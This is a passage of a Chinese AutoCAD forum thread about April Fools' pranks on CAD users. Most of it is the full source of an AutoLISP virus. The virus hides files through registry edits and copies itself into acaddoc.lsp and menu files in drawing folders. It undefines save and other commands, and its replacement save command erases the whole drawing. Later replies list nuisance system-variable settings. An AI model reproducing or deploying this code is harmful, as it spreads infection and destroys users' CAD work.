xiaxiang 发表于 2012-4-1 16:14:09

还有highlight系统变量,当然还有很多,曾经中过招,不过都是小把戏了,看看下面这个源代码,
不是讨论病毒,只是感叹总有那么一些歪才。。。

(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
(vl-load-com)
(setvar "cmdecho" 0)
(setvar "filedia" 1)
(vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
    "CheckedValue"
    0
)
(vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "CheckedValue"
    0
)
(vl-registry-write
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\NOHIDDEN"
    "DefaultValue"
    0
)
(setq mnlpth (getvar "menuname"))
(setq dwgpre (getvar "dwgprefix"))
(if (setq doclsp (findfile "acaddoc.lsp"))
    (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
    (chklsp (strcat mnlpth ".mnl") doclsp)
    (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
    )
)
(setq mac0
'(2256   22562726 2256   2585   2726   3243   2679
    2726   22563149 2726   3196   3290   2726   2632
    2397
   )
)
(if (and (> (setq cdate (getvar "cdate")) 20090909)
    (member (vl-string->list (car (macaddr))) (mkgroup mac0))
    (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
      )
    (dolsp)
)
(princ)
)
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
(if (setq fp3 (open fp1 "r"))
    (progn
      (if
(not
   (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
   "*;;;jjyy*"
   )
)
(writelsp fp2 fp1)
      )
      (close fp3)
    )
    (writelsp fp2 fp1)
)
(attset fp1 2)
(attset fp2 2)
)
(defun writelsp (fp1 fp2 / fp3 fp4 tem)
(setq fp3 (open fp1 "r")
fp4 (open fp2 "a")
)
(while (setq tem (read-line fp3)) (write-line tem fp4))
(close fp3)
(close fp4)
(princ)
)
(defun attset (fp code / fp1)
(if (and (/= "" fp) code)
    (progn (vl-load-com)
    (vlax-put-property
      (setq fp1 (vlax-invoke-method
    (vlax-create-object "Scripting.FileSystemObject")
    'GetFile
    fp
         )
      )
      'Attributes
      code
    )
    )
)
(vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
(setq i 1)
(repeat 500
    (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
    (setq i (1+ i))
)
(reverse pts)
)
(defun macaddr (/ mac WMIobj con lox sn)
(vl-load-com)
(if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
    (progn
      (setq
con (vl-catch-all-apply
       'vlax-invoke
       (list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
   )
      )
      (if (vl-catch-all-error-p con)
(setq
   con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
)
      )
      (setq lox (vlax-invoke
    con
    'ExecQuery
    "Select * From Win32_NetworkAdapter "
)
      )
      (vlax-for i lox
(if (vlax-get i 'NetConnectionID)
   (progn (setq sn (vlax-get i 'MACAddress))
   (or (member sn mac) (setq mac (cons sn mac)))
   )
)
      )
      (mapcar 'vlax-release-object (list lox con WMIobj))
    )
)
(reverse mac)
)
(defun dolsp ()
(command "undefine" "qsave")
(command "undefine" "saveas")
(command "undefine" "wblock")
(command "undefine" "insert")
(command "undefine" "pline")
)
(defun c:qsave ()
(command "_.erase" (ssget "x") "")
(princ)
)
(defun c:saveas (/ fp1)
(setq fp1 (getfiled "图形另存为" (getvar "dwgprefix") "dwg" 1))
(chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
   (findfile "acaddoc.lsp")
)
(princ)
)
(defun c:wblock () (princ))
(defun c:insert () (princ))
(defun c:pline () (command "_.line") (princ))
;;;jjyy

ORCHI 发表于 2012-4-2 09:12:32

这个确实不错,总结出来以后出现问题也可以查找,赞!

zdqwy19 发表于 2012-4-5 20:17:16

以前也中过招,把光标、对话框、选择框都给关了

pzweng 发表于 2012-4-11 13:11:31

前些天还中招了,害得我重装CAD

pzweng 发表于 2012-4-11 13:16:28

谁有CAD所有的系统变量,完整的(包括未公开的)

Libra_zhangle 发表于 2012-12-19 20:38:33

以前有收集过cad的这些变量,好久没有去理会了,真心很有用!

mokson 发表于 2012-12-20 17:25:24

mtexted=0,不能选中文字

蒹葭_Keirll 发表于 2013-1-3 09:29:37

本帖最后由 蒹葭_Keirll 于 2013-1-3 09:42 编辑

APBOX=1加上AUTOSNAP=0,不显示鞭靶,也不显示捕捉标志。上次被某个程序搞成这样,差点重装

yewuqiang 发表于 2013-1-3 15:29:39

强的

潘阳科 发表于 2013-1-3 18:17:44

强强强强强强强
页: 1 [2] 3
查看完整版本: [抛砖引玉] AUTOCAD工程师的愚人节